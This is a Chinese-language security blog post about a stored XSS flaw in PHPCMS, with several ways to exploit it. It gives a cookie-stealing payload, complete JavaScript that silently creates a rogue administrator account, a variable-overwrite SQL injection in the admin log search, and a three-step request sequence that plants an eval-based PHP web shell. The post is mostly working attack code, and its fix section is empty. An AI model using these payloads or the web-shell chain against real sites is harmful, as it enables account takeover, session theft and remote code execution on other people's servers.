PHPCMS最新版存储型xss(附多种利用方法)

技术文章 作者:MCbang 2014-06-15 02:21:37 阅读:90
#1 首先说下这个漏洞的产生
/phpcms/modules/member/content.php 61行左右

$info = array();

foreach($_POST['info'] as $_k=>$_v){

if(in_array($_k, $fields)) $info[$_k] = new_html_special_chars(trim_script($_v));

}

$_POST['linkurl'] = str_replace(array('"','(',')',",",' '),'',new_html_special_chars($_POST['linkurl']));

//exit($_POST['linkurl']);//上面一行仅简单过滤了"、(、)等,SO可以轻松绕过

$post_fields = array_keys($_POST['info']);

?>

对应的前台:


#2 简单利用之一获取管理员COOKIE
投稿一篇 写入利用代码:
Javascript:%28alert%28document.cookie%29%29

前台效果展示:


管理后台效果展示:


#3 简单利用之二添加任意管理员账号
这个我具体没去测试,不过应该可行,给出利用代码(js):
将下面的代码保存为js:
if(top.window.location.href.indexOf("pc_hash=")>0){

var hash = top.window.location.href.substr(top.window.location.href.indexOf("pc_hash=")+8,6);

}

var xmlHttp = null;

var cookie = document.cookie;

var url = "index.php?m=admin&c=admin_manage&a=add";

var urldata = "info%5Busername%5D=test&info%5Bpassword%5D=123456&info%5Bpwdconfirm%5D=123456&info%5Bemail%5D=felixk3y%40qq.com&info%5Brealname%5D=aaa&info%5Broleid%5D=1&dosubmit=%E6%8F%90%E4%BA%A4&pc_hash="+hash;



if(window.ActiveXObject){

xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");

}

else if(window.XMLHttpRequest){

xmlHttp=new XMLHttpRequest();

}

if(xmlHttp!=null){

xmlHttp.onreadystatechange=state_Change;

xmlHttp.open("POST",url,false);

xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded;charset=UTF-8");

xmlHttp.setRequestHeader("Cookie",cookie);

xmlHttp.send(urldata);//不为null时,必须设置Content-Type

}

function state_Change()

{

if(xmlHttp.readyState==4)

{

if (xmlHttp.status==200)

{

//alert(xmlHttp.responseText);

}

}

}

#4 深入利用利用之SQL注入
话说XSS的危害没有SQL注入严重,好吧 我承认.但是由于PHPCMS的后台变量覆盖满天飞,利用变量覆盖造成的SQL注入不是一处两处,利用XSS,我们同样可以让管理员帮我们进行注入,下面随便挑一处进行说明:
/phpcms/modules/admin/log.php 第51行左右

//...

public function search_log() {

$where = '';

extract($_GET['search']); //extract导致变量覆盖,覆盖下面的$where可进行注入

if($username){

$where .= $where ? " AND username='$username'" : " username='$username'";

}

if($module){

$where .= $where ? " AND module='$module'" : " module='$module'";

}

if($start_time && $end_time) {

$start = $start_time;

$end = $end_time;

$where .= "AND `time` >= '$start' AND `time` <= '$end' ";

//...

?>
至于具体利用嘛,可通过js的XMLHttpRequest ,具体就不多说了,都懂的...
#5 深入利用之任意代码执行,GETSHELL
在XSS处插入Getshell的JavaScript代码,js大至代码如下(js不熟悉,只能写个大概,别见笑):
详细的过程可以参考:http://bbs.blackbap.org/thread-4568-1-1.html
这里只是通过XMLHttpRequest去实现罢了,So...
获取pc_hash:
if(top.window.location.href.indexOf("pc_hash")>0){

var hash = top.window.location.href.substr(top.window.location.href.indexOf("pc_hash=")+8,6);

}

xmlhttp 第一步:
POST /phpcms/index.php?m=admin&c=urlrule&a=add
post参数:
dosubmit=+%CC%E1%BD%BB+&pc_hash=Wq87o4&info%5Bfile%5D=category&info%5Bmodule%5D=content&info%5Bishtml%5D=1&info%5Bexample%5D=shell&info%5Burlrule%5D=shell.php&f1=%7B%24categorydir%7D&f1=%7B%24catdir%7D&f1=%7B%24year%7D&f1=%7B%24month%7D&f1=%7B%24day%7D&f1=%7B%24id%7D&f1=%7B%24page%7D

xmlhttp 第二步:
POST /phpcms/index.php?m=admin&c=category&a=add
post参数:
addtype=0&info%5Bmodelid%5D=1&info%5Bparentid%5D=0&info%5Bcatname%5D=%3C%3Fphp+%40eval%28%24_POST%5B1%5D%29%3F%3E&batch_add=&info%5Bcatdir%5D=shell&info%5Bimage%5D=&info%5Bdescription%5D=&setting%5Bworkflowid%5D=&info%5Bismenu%5D=1&setting%5Bishtml%5D=1&setting%5Bcontent_ishtml%5D=0&category_php_ruleid=6&category_html_ruleid=33&show_php_ruleid=16&show_html_ruleid=11&setting%5Bcreate_to_html_root%5D=0&info%5Burl%5D=&setting%5Btemplate_list%5D=default&setting%5Bcategory_template%5D=category&setting%5Blist_template%5D=list&setting%5Bshow_template%5D=show&setting%5Bmeta_title%5D=&setting%5Bmeta_keywords%5D=&setting%5Bmeta_description%5D=&setting%5Bpresentpoint%5D=1&setting%5Bdefaultchargepoint%5D=0&setting%5Bpaytype%5D=0&setting%5Brepeatchargedays%5D=1&catid=&dosubmit=%CC%E1%BD%BB&pc_hash=Wq87o4

xmlhttp 第三步:
POST /phpcms/index.php?m=content&c=create_html&a=category
post参数:
pc_hash=Wq87o4&dosubmit=1&type=all&modelid=&catids%5B%5D=0&pagesize=10

下面给出个xmlhttp发送post包大致代码如下:
var postdata = "postdata"

xmlhttp.open("POST", url, true);

xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

xmlhttp.setRequestHeader("Content-length", postdata.length);

xmlhttp.setRequestHeader("Connection", "close");

xmlhttp.send(paramss);



此时会在html文件夹下生成shell.php,不过此时"<"会被转义。
11.jpg

这时候,重复2 3步骤,即可getshell ,执行任意代码
SHELL Link: http://url/html/shell.php


修复方案:

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

关注数据与安全,洞悉企业级服务市场:http://www.ijiandao.com/
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

图库
关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接